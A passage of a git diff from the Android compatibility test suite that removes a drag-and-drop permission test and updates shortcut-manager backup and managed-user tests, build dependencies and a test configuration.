-    private static final String CANCEL_SOON = "cancel_soon";
-    private static final String GRANT_NONE = "grant_none";
-    private static final String GRANT_READ = "grant_read";
-    private static final String GRANT_WRITE = "grant_write";
-    private static final String GRANT_READ_PREFIX = "grant_read_prefix";
-    private static final String GRANT_READ_NOPREFIX = "grant_read_noprefix";
-    private static final String GRANT_READ_PERSISTABLE = "grant_read_persistable";
-
-    private static final String REQUEST_NONE = "request_none";
-    private static final String REQUEST_READ = "request_read";
-    private static final String REQUEST_READ_NESTED = "request_read_nested";
-    private static final String REQUEST_TAKE_PERSISTABLE = "request_take_persistable";
-    private static final String REQUEST_WRITE = "request_write";
-
-    private static final String TARGET_LOG_TAG = "DropTarget";
-
-    private static final String RESULT_KEY_DRAG_STARTED = "DRAG_STARTED";
-    private static final String RESULT_KEY_EXTRAS = "EXTRAS";
-    private static final String RESULT_KEY_DROP_RESULT = "DROP";
-
-    private static final String RESULT_OK = "OK";
-    private static final String RESULT_EXCEPTION = "Exception";
-    private static final String RESULT_NULL_DROP_PERMISSIONS = "Null DragAndDropPermissions";
-
-    private ITestDevice mDevice;
-
-    private Map<String, String> mResults;
-
-    private String mSourcePackageName;
-    private String mTargetPackageName;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        mDevice = getDevice();
-
-        if (!supportsDragAndDrop()) {
-            return;
-        }
-
-        mSourcePackageName = SOURCE_PACKAGE_NAME;
-        mTargetPackageName = TARGET_PACKAGE_NAME;
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
-
-        if (!supportsDragAndDrop()) {
-            return;
-        }
-
-        mDevice.executeShellCommand(AM_FORCE_STOP + mSourcePackageName);
-        mDevice.executeShellCommand(AM_FORCE_STOP + mTargetPackageName);
-    }
-
-    private String executeShellCommand(String command) throws DeviceNotAvailableException {
-        return mDevice.executeShellCommand(command);
-    }
-
-    private void clearLogs() throws DeviceNotAvailableException {
-        executeShellCommand("logcat -c");
-    }
-
-    private String getStartCommand(String componentName, String modeExtra) {
-        return AM_START_N + componentName + " -e mode " + modeExtra;
-    }
-
-    private String getMoveTaskCommand(int taskId, int stackId) throws Exception {
-        return AM_MOVE_TASK + taskId + " " + stackId + " true";
-    }
-
-    private String getComponentName(String packageName, String activityName) {
-        return packageName + "/" + packageName + "." + activityName;
-    }
-
-    /**
-     * Make sure that the special activity stacks are removed and the ActivityManager/WindowManager
-     * is in a good state.
-     */
-    private void cleanupState() throws Exception {
-        executeShellCommand(AM_FORCE_STOP + SOURCE_PACKAGE_NAME);
-        executeShellCommand(AM_FORCE_STOP + TARGET_PACKAGE_NAME);
-        executeShellCommand(AM_FORCE_STOP + TARGET_23_PACKAGE_NAME);
-        unlockDevice();
-
-        // Reinitialize the docked stack to force the window manager to reset its default bounds.
-        // See b/29068935.
-        clearLogs();
-        final String componentName = getComponentName(mSourcePackageName, SOURCE_ACTIVITY_NAME);
-        executeShellCommand(getStartCommand(componentName, null) + " --stack " +
-                FULLSCREEN_WORKSPACE_STACK_ID);
-        final int taskId = getActivityTaskId(componentName);
-        // Moving a task from the full screen stack to the docked stack resets
-        // WindowManagerService#mDockedStackCreateBounds.
-        executeShellCommand(getMoveTaskCommand(taskId, DOCKED_STACK_ID));
-        waitForResume(mSourcePackageName, SOURCE_ACTIVITY_NAME);
-        executeShellCommand(AM_FORCE_STOP + SOURCE_PACKAGE_NAME);
-
-        // Remove special stacks.
-        executeShellCommand(AM_REMOVE_STACK + PINNED_STACK_ID);
-        executeShellCommand(AM_REMOVE_STACK + DOCKED_STACK_ID);
-        executeShellCommand(AM_REMOVE_STACK + FREEFORM_WORKSPACE_STACK_ID);
-    }
-
-    private void launchDockedActivity(String packageName, String activityName, String mode)
-            throws Exception {
-        clearLogs();
-        final String componentName = getComponentName(packageName, activityName);
-        executeShellCommand(getStartCommand(componentName, mode) + " --stack " + DOCKED_STACK_ID);
-        waitForResume(packageName, activityName);
-    }
-
-    private void launchFullscreenActivity(String packageName, String activityName, String mode)
-            throws Exception {
-        clearLogs();
-        final String componentName = getComponentName(packageName, activityName);
-        executeShellCommand(getStartCommand(componentName, mode) + " --stack "
-                + FULLSCREEN_WORKSPACE_STACK_ID);
-        waitForResume(packageName, activityName);
-    }
-
-    private void waitForResume(String packageName, String activityName) throws Exception {
-        final String fullActivityName = packageName + "." + activityName;
-        int retryCount = 3;
-        do {
-            Thread.sleep(500);
-            String logs = executeShellCommand("logcat -d -b events");
-            for (String line : logs.split("\\n")) {
-                if(line.contains("am_on_resume_called") && line.contains(fullActivityName)) {
-                    return;
-                }
-            }
-        } while (retryCount-- > 0);
-
-        throw new Exception(fullActivityName + " has failed to start");
-    }
-
-    private void injectInput(Point from, Point to, int durationMs) throws Exception {
-        executeShellCommand(
-                INPUT_MOUSE_SWIPE + from.x + " " + from.y + " " + to.x + " " + to.y + " " +
-                durationMs);
-    }
-
-    static class Point {
-        public int x, y;
-
-        public Point(int _x, int _y) {
-            x=_x;
-            y=_y;
-        }
-
-        public Point() {}
-    }
-
-    private String findTaskInfo(String name) throws Exception {
-        CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
-        mDevice.executeShellCommand(AM_STACK_LIST, outputReceiver);
-        final String output = outputReceiver.getOutput();
-        final StringBuilder builder = new StringBuilder();
-        builder.append("Finding task info for task: ");
-        builder.append(name);
-        builder.append("\nParsing adb shell am output: " );
-        builder.append(output);
-        CLog.i(builder.toString());
-        final Pattern pattern = Pattern.compile(String.format(TASK_REGEX_PATTERN_STRING, name));
-        for (String line : output.split("\\n")) {
-            if (pattern.matcher(line).find()) {
-                return line;
-            }
-        }
-        return "";
-    }
-
-    private boolean getWindowBounds(String name, Point from, Point to) throws Exception {
-        final String taskInfo = findTaskInfo(name);
-        final String[] sections = taskInfo.split("\\[");
-        if (sections.length > 2) {
-            try {
-                parsePoint(sections[1], from);
-                parsePoint(sections[2], to);
-                return true;
-            } catch (Exception e) {
-                return false;
-            }
-        }
-        return false;
-    }
-
-    private int getActivityTaskId(String name) throws Exception {
-        final String taskInfo = findTaskInfo(name);
-        for (String word : taskInfo.split("\\s+")) {
-            if (word.startsWith(TASK_ID_PREFIX)) {
-                final String withColon = word.split("=")[1];
-                return Integer.parseInt(withColon.substring(0, withColon.length() - 1));
-            }
-        }
-        return -1;
-    }
-
-    private Point getWindowCenter(String name) throws Exception {
-        Point p1 = new Point();
-        Point p2 = new Point();
-        if (getWindowBounds(name, p1, p2)) {
-            return new Point((p1.x + p2.x) / 2, (p1.y + p2.y) / 2);
-        }
-        return null;
-    }
-
-    private void parsePoint(String string, Point point) {
-        final String[] parts = string.split("[,|\\]]");
-        point.x = Integer.parseInt(parts[0]);
-        point.y = Integer.parseInt(parts[1]);
-    }
-
-    private void unlockDevice() throws DeviceNotAvailableException {
-        // Wake up the device, if necessary.
-        executeShellCommand("input keyevent 224");
-        // Unlock the screen.
-        executeShellCommand("input keyevent 82");
-    }
-
-    private Map<String, String> getLogResults(String className) throws Exception {
-        int retryCount = 3;
-        Map<String, String> output = new HashMap<String, String>();
-        do {
-
-            String logs = executeShellCommand("logcat -v brief -d " + className + ":I" + " *:S");
-            for (String line : logs.split("\\n")) {
-                if (line.startsWith("I/" + className)) {
-                    String payload = line.split(":")[1].trim();
-                    final String[] split = payload.split("=");
-                    if (split.length > 1) {
-                        output.put(split[0], split[1]);
-                    }
-                }
-            }
-            if (output.containsKey(RESULT_KEY_DROP_RESULT)) {
-                return output;
-            }
-        } while (retryCount-- > 0);
-        return output;
-    }
-
-    private void doTestDragAndDrop(String sourceMode, String targetMode, String expectedDropResult)
-            throws Exception {
-        if (!supportsDragAndDrop()) {
-            return;
-        }
-
-        launchDockedActivity(mSourcePackageName, SOURCE_ACTIVITY_NAME, sourceMode);
-        launchFullscreenActivity(mTargetPackageName, TARGET_ACTIVITY_NAME, targetMode);
-
-        clearLogs();
-
-        injectInput(
-                getWindowCenter(getComponentName(mSourcePackageName, SOURCE_ACTIVITY_NAME)),
-                getWindowCenter(getComponentName(mTargetPackageName, TARGET_ACTIVITY_NAME)),
-                SWIPE_DURATION_MS);
-
-        mResults = getLogResults(TARGET_LOG_TAG);
-        assertResult(RESULT_KEY_DROP_RESULT, expectedDropResult);
-    }
-
-    private void assertResult(String resultKey, String expectedResult) throws Exception {
-        if (!supportsDragAndDrop()) {
-            return;
-        }
-
-        if (expectedResult == null) {
-            if (mResults.containsKey(resultKey)) {
-                fail("Unexpected " + resultKey + "=" + mResults.get(resultKey));
-            }
-        } else {
-            assertTrue("Missing " + resultKey, mResults.containsKey(resultKey));
-            assertEquals(expectedResult, mResults.get(resultKey));
-        }
-    }
-
-    private boolean supportsDragAndDrop() throws Exception {
-        String supportsMultiwindow = mDevice.executeShellCommand("am supports-multiwindow").trim();
-        if ("true".equals(supportsMultiwindow)) {
-            return true;
-        } else if ("false".equals(supportsMultiwindow)) {
-            return false;
-        } else {
-            throw new Exception(
-                    "device does not support \"am supports-multiwindow\" shell command.");
-        }
-    }
-
-    public void testCancelSoon() throws Exception {
-        doTestDragAndDrop(CANCEL_SOON, REQUEST_NONE, null);
-        assertResult(RESULT_KEY_DRAG_STARTED, RESULT_OK);
-        assertResult(RESULT_KEY_EXTRAS, RESULT_OK);
-    }
-
-    public void testDisallowGlobal() throws Exception {
-        doTestDragAndDrop(DISALLOW_GLOBAL, REQUEST_NONE, null);
-        assertResult(RESULT_KEY_DRAG_STARTED, null);
-    }
-
-    public void testDisallowGlobalBelowSdk24() throws Exception {
-        mTargetPackageName = TARGET_23_PACKAGE_NAME;
-        doTestDragAndDrop(GRANT_NONE, REQUEST_NONE, null);
-        assertResult(RESULT_KEY_DRAG_STARTED, null);
-    }
-
-    public void testGrantNoneRequestNone() throws Exception {
-        doTestDragAndDrop(GRANT_NONE, REQUEST_NONE, RESULT_EXCEPTION);
-        assertResult(RESULT_KEY_DRAG_STARTED, RESULT_OK);
-        assertResult(RESULT_KEY_EXTRAS, RESULT_OK);
-    }
-
-    public void testGrantNoneRequestRead() throws Exception {
-        doTestDragAndDrop(GRANT_NONE, REQUEST_READ, RESULT_NULL_DROP_PERMISSIONS);
-    }
-
-    public void testGrantNoneRequestWrite() throws Exception {
-        doTestDragAndDrop(GRANT_NONE, REQUEST_WRITE, RESULT_NULL_DROP_PERMISSIONS);
-    }
-
-    public void testGrantReadRequestNone() throws Exception {
-        doTestDragAndDrop(GRANT_READ, REQUEST_NONE, RESULT_EXCEPTION);
-    }
-
-    public void testGrantReadRequestRead() throws Exception {
-        doTestDragAndDrop(GRANT_READ, REQUEST_READ, RESULT_OK);
-    }
-
-    public void testGrantReadRequestWrite() throws Exception {
-        doTestDragAndDrop(GRANT_READ, REQUEST_WRITE, RESULT_EXCEPTION);
-    }
-
-    public void testGrantReadNoPrefixRequestReadNested() throws Exception {
-        doTestDragAndDrop(GRANT_READ_NOPREFIX, REQUEST_READ_NESTED, RESULT_EXCEPTION);
-    }
-
-    public void testGrantReadPrefixRequestReadNested() throws Exception {
-        doTestDragAndDrop(GRANT_READ_PREFIX, REQUEST_READ_NESTED, RESULT_OK);
-    }
-
-    public void testGrantPersistableRequestTakePersistable() throws Exception {
-        doTestDragAndDrop(GRANT_READ_PERSISTABLE, REQUEST_TAKE_PERSISTABLE, RESULT_OK);
-    }
-
-    public void testGrantReadRequestTakePersistable() throws Exception {
-        doTestDragAndDrop(GRANT_READ, REQUEST_TAKE_PERSISTABLE, RESULT_EXCEPTION);
-    }
-
-    public void testGrantWriteRequestNone() throws Exception {
-        doTestDragAndDrop(GRANT_WRITE, REQUEST_NONE, RESULT_EXCEPTION);
-    }
-
-    public void testGrantWriteRequestRead() throws Exception {
-        doTestDragAndDrop(GRANT_WRITE, REQUEST_READ, RESULT_EXCEPTION);
-    }
-
-    public void testGrantWriteRequestWrite() throws Exception {
-        doTestDragAndDrop(GRANT_WRITE, REQUEST_WRITE, RESULT_OK);
-    }
-}
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher1/Android.mk b/hostsidetests/shortcuts/deviceside/backup/launcher1/Android.mk
index a463b59..810fe64 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher1/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher1/Android.mk
@@ -32,7 +32,7 @@
     android-support-test \
     android-support-v4 \
     mockito-target-minus-junit4 \
-    ctsdeviceutil \
+    compatibility-device-util \
     ctstestrunner \
     ub-uiautomator \
     ShortcutManagerTestUtils
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher2/Android.mk b/hostsidetests/shortcuts/deviceside/backup/launcher2/Android.mk
index 2f37101..3eb0cde 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher2/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher2/Android.mk
@@ -32,7 +32,7 @@
     android-support-test \
     android-support-v4 \
     mockito-target-minus-junit4 \
-    ctsdeviceutil \
+    compatibility-device-util \
     ctstestrunner \
     ub-uiautomator \
     ShortcutManagerTestUtils
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher3/Android.mk b/hostsidetests/shortcuts/deviceside/backup/launcher3/Android.mk
index 3bbd906..0b072a5 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher3/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher3/Android.mk
@@ -32,7 +32,7 @@
     android-support-test \
     android-support-v4 \
     mockito-target-minus-junit4 \
-    ctsdeviceutil \
+    compatibility-device-util \
     ctstestrunner \
     ub-uiautomator \
     ShortcutManagerTestUtils
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher1/Android.mk b/hostsidetests/shortcuts/deviceside/backup/publisher1/Android.mk
index 2ac759a..a729fe8 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher1/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher1/Android.mk
@@ -32,7 +32,7 @@
     android-support-test \
     android-support-v4 \
     mockito-target-minus-junit4 \
-    ctsdeviceutil \
+    compatibility-device-util \
     ctstestrunner \
     ub-uiautomator \
     ShortcutManagerTestUtils
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher2/Android.mk b/hostsidetests/shortcuts/deviceside/backup/publisher2/Android.mk
index 62ad16e..12a0995 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher2/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher2/Android.mk
@@ -32,7 +32,7 @@
     android-support-test \
     android-support-v4 \
     mockito-target-minus-junit4 \
-    ctsdeviceutil \
+    compatibility-device-util \
     ctstestrunner \
     ub-uiautomator \
     ShortcutManagerTestUtils
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher3/Android.mk b/hostsidetests/shortcuts/deviceside/backup/publisher3/Android.mk
index 049691d..4232034 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher3/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher3/Android.mk
@@ -32,7 +32,7 @@
     android-support-test \
     android-support-v4 \
     mockito-target-minus-junit4 \
-    ctsdeviceutil \
+    compatibility-device-util \
     ctstestrunner \
     ub-uiautomator \
     ShortcutManagerTestUtils
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher3/src/android/content/pm/cts/shortcut/backup/publisher3/ShortcutManagerPostBackupTest.java b/hostsidetests/shortcuts/deviceside/backup/publisher3/src/android/content/pm/cts/shortcut/backup/publisher3/ShortcutManagerPostBackupTest.java
index a36cc66..870dab9 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher3/src/android/content/pm/cts/shortcut/backup/publisher3/ShortcutManagerPostBackupTest.java
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher3/src/android/content/pm/cts/shortcut/backup/publisher3/ShortcutManagerPostBackupTest.java
@@ -21,6 +21,9 @@
 
 public class ShortcutManagerPostBackupTest extends ShortcutManagerDeviceTestBase {
     public void testWithUninstall() {
+        assertWith(getManager().getDynamicShortcuts())
+                .isEmpty();
+
         // backup = false, so no pinned shortcuts should be restored.
         assertWith(getManager().getPinnedShortcuts())
                 .isEmpty();
@@ -29,4 +32,15 @@
                 .haveIds("ms1", "ms2")
                 .areAllNotPinned();
     }
+
+    public void testWithNoUninstall() {
+        // backup = false, so dynamic shortcuts shouldn't be overwritten.
+        assertWith(getManager().getDynamicShortcuts())
+                .haveIds("s1", "s2", "s3")
+                .areAllNotPinned();
+
+        assertWith(getManager().getManifestShortcuts())
+                .haveIds("ms1", "ms2")
+                .areAllNotPinned();
+    }
 }
diff --git a/hostsidetests/shortcuts/deviceside/multiuser/Android.mk b/hostsidetests/shortcuts/deviceside/multiuser/Android.mk
index 2897e8c..183531b 100644
--- a/hostsidetests/shortcuts/deviceside/multiuser/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/multiuser/Android.mk
@@ -34,7 +34,7 @@
     android-support-test \
     android-support-v4 \
     mockito-target-minus-junit4 \
-    ctsdeviceutil \
+    compatibility-device-util \
     ctstestrunner \
     ub-uiautomator \
     ShortcutManagerTestUtils
diff --git a/hostsidetests/shortcuts/deviceside/multiuser/src/android/content/pm/cts/shortcut/multiuser/ShortcutManagerManagedUserTest.java b/hostsidetests/shortcuts/deviceside/multiuser/src/android/content/pm/cts/shortcut/multiuser/ShortcutManagerManagedUserTest.java
index 0c5e662..60a5061 100644
--- a/hostsidetests/shortcuts/deviceside/multiuser/src/android/content/pm/cts/shortcut/multiuser/ShortcutManagerManagedUserTest.java
+++ b/hostsidetests/shortcuts/deviceside/multiuser/src/android/content/pm/cts/shortcut/multiuser/ShortcutManagerManagedUserTest.java
@@ -18,6 +18,7 @@
 import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.assertWith;
 import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.list;
 
+import android.content.ActivityNotFoundException;
 import android.content.ComponentName;
 import android.content.Intent;
 import android.content.pm.LauncherApps.ShortcutQuery;
@@ -26,12 +27,14 @@
 import android.os.UserHandle;
 import android.os.UserManager;
 
+import java.util.List;
+
 public class ShortcutManagerManagedUserTest extends ShortcutManagerDeviceTestBase {
     public void test01_managedProfileNotStarted() {
         Launcher.setAsDefaultLauncher(getInstrumentation(), getContext());
 
         // Get user-0's handle.
-        final UserHandle userManaged = getManagedUser();
+        final UserHandle userManaged = getOtherUser();
 
         final ShortcutQuery q = new ShortcutQuery();
 
@@ -59,48 +62,82 @@
                                 new ComponentName(getContext(), MainActivity.class))).build())));
     }
 
-    public void test04_getAndLaunch() {
+    public void test04_getAndLaunch_primary() {
         Launcher.setAsDefaultLauncher(getInstrumentation(), getContext());
 
-        final UserHandle userMain = android.os.Process.myUserHandle();
-        final UserHandle userManaged = getManagedUser();
+        final UserHandle userCurrent = android.os.Process.myUserHandle();
+        final UserHandle userOther = getOtherUser();
 
         final ShortcutQuery q = new ShortcutQuery()
                 .setQueryFlags(ShortcutQuery.FLAG_MATCH_DYNAMIC)
                 .setPackage(getContext().getPackageName())
                 .setShortcutIds(list("s1"));
-        assertWith(getLauncherApps().getShortcuts(q, userMain))
+        assertWith(getLauncherApps().getShortcuts(q, userCurrent))
                 .haveIds("s1")
                 .areAllDynamic()
                 .forShortcutWithId("s1", si -> {
                     assertEquals("label1", si.getShortLabel());
-                    assertEquals(userMain, si.getUserHandle());
+                    assertEquals(userCurrent, si.getUserHandle());
                 });
-        assertWith(getLauncherApps().getShortcuts(q, userManaged))
+        assertWith(getLauncherApps().getShortcuts(q, userOther))
                 .haveIds("s1")
                 .areAllDynamic()
                 .forShortcutWithId("s1", si -> {
                     assertEquals("label2", si.getShortLabel());
-                    assertEquals(userManaged, si.getUserHandle());
+                    assertEquals(userOther, si.getUserHandle());
                 });
 
         // Just call start and make sure they don't throw.
         getLauncherApps().startShortcut(getContext().getPackageName(), "s1", null, null,
-                userMain);
+                userCurrent);
 
         // TODO Make sure the activity actually starts.
         getLauncherApps().startShortcut(getContext().getPackageName(), "s1", null, null,
-                userManaged);
+                userOther);
     }
 
-    private UserHandle getManagedUser() {
+    public void test05_getAndLaunch_managed() {
+        Launcher.setAsDefaultLauncher(getInstrumentation(), getContext());
+
+        final UserHandle userCurrent = android.os.Process.myUserHandle();
+        final UserHandle userOther = getOtherUser();
+
+        final ShortcutQuery q = new ShortcutQuery()
+                .setQueryFlags(ShortcutQuery.FLAG_MATCH_DYNAMIC)
+                .setPackage(getContext().getPackageName())
+                .setShortcutIds(list("s1"));
+
+        assertWith(getLauncherApps().getShortcuts(q, userCurrent))
+                .haveIds("s1")
+                .areAllDynamic()
+                .forShortcutWithId("s1", si -> {
+                    assertEquals("label2", si.getShortLabel());
+                    assertEquals(userCurrent, si.getUserHandle());
+                });
+
+        assertWith(getLauncherApps().getShortcuts(q, userOther)).isEmpty();
+
+        // TODO Make sure the activity actually starts.
+        getLauncherApps().startShortcut(getContext().getPackageName(), "s1", null, null,
+                userCurrent);
+
+        try {
+            getLauncherApps().startShortcut(getContext().getPackageName(), "s1", null, null,
+                    userOther);
+            fail("Didn't throw ActivityNotFoundException");
+        } catch (ActivityNotFoundException e) {
+            // okay
+        }
+    }
+
+    private UserHandle getOtherUser() {
         for (UserHandle user : getContext().getSystemService(UserManager.class).getUserProfiles()) {
             if (user.equals(android.os.Process.myUserHandle())) {
                 continue;
             }
             return user;
         }
-        fail("Managed user not found");
+        fail("Other user not found");
         return null;
     }
 }
diff --git a/hostsidetests/shortcuts/deviceside/upgrade/Android.mk b/hostsidetests/shortcuts/deviceside/upgrade/Android.mk
index 21b07a0..11bfc2f 100644
--- a/hostsidetests/shortcuts/deviceside/upgrade/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/upgrade/Android.mk
@@ -38,7 +38,7 @@
     android-support-test \
     android-support-v4 \
     mockito-target-minus-junit4 \
-    ctsdeviceutil \
+    compatibility-device-util \
     ctstestrunner \
     ub-uiautomator \
     ShortcutManagerTestUtils
@@ -69,7 +69,7 @@
     android-support-test \
     android-support-v4 \
     mockito-target-minus-junit4 \
-    ctsdeviceutil \
+    compatibility-device-util \
     ctstestrunner \
     ub-uiautomator \
     ShortcutManagerTestUtils
diff --git a/hostsidetests/shortcuts/hostside/Android.mk b/hostsidetests/shortcuts/hostside/Android.mk
index 56b2e60..830ec94 100644
--- a/hostsidetests/shortcuts/hostside/Android.mk
+++ b/hostsidetests/shortcuts/hostside/Android.mk
@@ -24,9 +24,7 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_JAVA_LIBRARIES := tools-common-prebuilt cts-tradefed tradefed-prebuilt
-
-LOCAL_STATIC_JAVA_LIBRARIES := cts-migration-lib
+LOCAL_JAVA_LIBRARIES := tools-common-prebuilt cts-tradefed tradefed
 
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts
diff --git a/hostsidetests/shortcuts/hostside/AndroidTest.xml b/hostsidetests/shortcuts/hostside/AndroidTest.xml
index 13b9e14..15d6a12 100644
--- a/hostsidetests/shortcuts/hostside/AndroidTest.xml
+++ b/hostsidetests/shortcuts/hostside/AndroidTest.xml
@@ -14,8 +14,9 @@
      limitations under the License.
 -->
 <configuration description="Config for the CTS ShortcutManager host tests">
+    <option name="config-descriptor:metadata" key="component" value="framework" />
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsShortcutHostTestCases.jar" />
-        <option name="runtime-hint" value="20m" />
+        <option name="runtime-hint" value="10m" />
     </test>
 </configuration>
diff --git a/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/BaseShortcutManagerHostTest.java b/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/BaseShortcutManagerHostTest.java
index fbd344b..c703e7f 100644
--- a/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/BaseShortcutManagerHostTest.java
+++ b/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/BaseShortcutManagerHostTest.java
@@ -15,7 +15,7 @@
  */
 package android.content.pm.cts.shortcuthost;
 
-import com.android.cts.migration.MigrationHelper;
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
 import com.android.ddmlib.testrunner.TestIdentifier;
 import com.android.ddmlib.testrunner.TestResult;
@@ -102,9 +102,9 @@
     protected void installAppAsUser(String appFileName, int userId) throws FileNotFoundException,
             DeviceNotAvailableException {
         CLog.i("Installing app " + appFileName + " for user " + userId);
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
         String result = getDevice().installPackageForUser(
-                MigrationHelper.getTestFile(mCtsBuild, appFileName), true, true,
-                userId, "-t");
+                buildHelper.getTestFile(appFileName), true, true, userId, "-t");
         assertNull("Failed to install " + appFileName + " for user " + userId + ": " + result,
                 result);
     }
diff --git a/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/ShortcutManagerBackupTest.java b/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/ShortcutManagerBackupTest.java
index 03e0e5c..25f8317 100644
--- a/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/ShortcutManagerBackupTest.java
+++ b/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/ShortcutManagerBackupTest.java
@@ -19,6 +19,9 @@
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.log.LogUtil.CLog;
 
+import java.util.concurrent.TimeUnit;
+import java.util.regex.Pattern;
+
 public class ShortcutManagerBackupTest extends BaseShortcutManagerHostTest {
     private static final String LAUNCHER1_APK = "CtsShortcutBackupLauncher1.apk";
     private static final String LAUNCHER2_APK = "CtsShortcutBackupLauncher2.apk";
@@ -40,6 +43,8 @@
     private static final String PUBLISHER3_PKG =
             "android.content.pm.cts.shortcut.backup.publisher3";
 
+    private static final int BROADCAST_TIMEOUT_SECONDS = 120;
+
     private static final String FEATURE_BACKUP = "android.software.backup";
 
     private boolean mSupportsBackup;
@@ -57,6 +62,15 @@
             clearShortcuts(PUBLISHER1_PKG, getPrimaryUserId());
             clearShortcuts(PUBLISHER2_PKG, getPrimaryUserId());
             clearShortcuts(PUBLISHER3_PKG, getPrimaryUserId());
+
+            uninstallPackageAndWaitUntilBroadcastsDrain(LAUNCHER1_PKG);
+            uninstallPackageAndWaitUntilBroadcastsDrain(LAUNCHER2_PKG);
+            uninstallPackageAndWaitUntilBroadcastsDrain(LAUNCHER3_PKG);
+            uninstallPackageAndWaitUntilBroadcastsDrain(PUBLISHER1_PKG);
+            uninstallPackageAndWaitUntilBroadcastsDrain(PUBLISHER2_PKG);
+            uninstallPackageAndWaitUntilBroadcastsDrain(PUBLISHER3_PKG);
+
+            waitUntilPackagesGone();
         }
     }
 
@@ -106,10 +120,82 @@
 
     }
 
+    private void uninstallPackageAndWaitUntilBroadcastsDrain(String pkg) throws Exception {
+        getDevice().uninstallPackage(pkg);
+        waitUntilBroadcastsDrain();
+    }
+
+    /**
+     * Wait until the broadcasts queues all drain.
+     */
+    private void waitUntilBroadcastsDrain() throws Exception {
+        final long TIMEOUT = System.nanoTime() +
+                TimeUnit.SECONDS.toNanos(BROADCAST_TIMEOUT_SECONDS);
+
+        final Pattern re = Pattern.compile("^\\s+Active (ordered)? broadcasts \\[",
+                Pattern.MULTILINE);
+
+        String dumpsys = "";
+        while (System.nanoTime() < TIMEOUT) {
+            Thread.sleep(1000);
+
+            dumpsys = getDevice().executeShellCommand("dumpsys activity broadcasts");
+
+            if (re.matcher(dumpsys).find()) {
+                continue;
+            }
+
+            CLog.d("Broadcast queues drained:\n" + dumpsys);
+
+            dumpsys("Broadcast queues drained");
+
+            // All packages gone.
+            return;
+        }
+        fail("Broadcast queues didn't drain before time out."
+                + " Last dumpsys=\n" + dumpsys);
+    }
+
+    /**
+     * Wait until all the test packages are forgotten by the shortcut manager.
+     */
+    private void waitUntilPackagesGone() throws Exception {
+        CLog.i("Waiting until all packages are removed from shortcut manager...");
+
+        final String packages[] = {
+                LAUNCHER1_PKG,  LAUNCHER2_PKG, LAUNCHER3_PKG,
+                PUBLISHER1_PKG, PUBLISHER2_PKG, PUBLISHER3_PKG,
+        };
+
+        String dumpsys = "";
+        final long TIMEOUT = System.nanoTime() +
+                TimeUnit.SECONDS.toNanos(BROADCAST_TIMEOUT_SECONDS);
+
+        while (System.nanoTime() < TIMEOUT) {
+            Thread.sleep(2000);
+            dumpsys = getDevice().executeShellCommand("dumpsys shortcut");
+
+            if (dumpsys.contains("Launcher: " + LAUNCHER1_PKG)) continue;
+            if (dumpsys.contains("Launcher: " + LAUNCHER2_PKG)) continue;
+            if (dumpsys.contains("Launcher: " + LAUNCHER3_PKG)) continue;
+            if (dumpsys.contains("Package: " + PUBLISHER1_PKG)) continue;
+            if (dumpsys.contains("Package: " + PUBLISHER2_PKG)) continue;
+            if (dumpsys.contains("Package: " + PUBLISHER3_PKG)) continue;
+
+            dumpsys("Shortcut manager handled broadcasts");
+
+            // All packages gone.
+            return;
+        }
+        fail("ShortcutManager didn't handle all expected broadcasts before time out."
+                + " Last dumpsys=\n" + dumpsys);
+    }
+
     public void testBackupAndRestore() throws Exception {
         if (!mSupportsBackup) {
             return;
         }
+        dumpsys("Test start");
 
         installAppAsUser(LAUNCHER1_APK, getPrimaryUserId());
         installAppAsUser(LAUNCHER2_APK, getPrimaryUserId());
@@ -131,21 +217,31 @@
         // Tweak shortcuts a little bit to make disabled shortcuts.
         runDeviceTestsAsUser(PUBLISHER2_PKG, ".ShortcutManagerPreBackup2Test", getPrimaryUserId());
 
+        dumpsys("Before backup");
+
         // Backup
         doBackup();
 
         // Uninstall all apps
-        getDevice().uninstallPackage(LAUNCHER1_PKG);
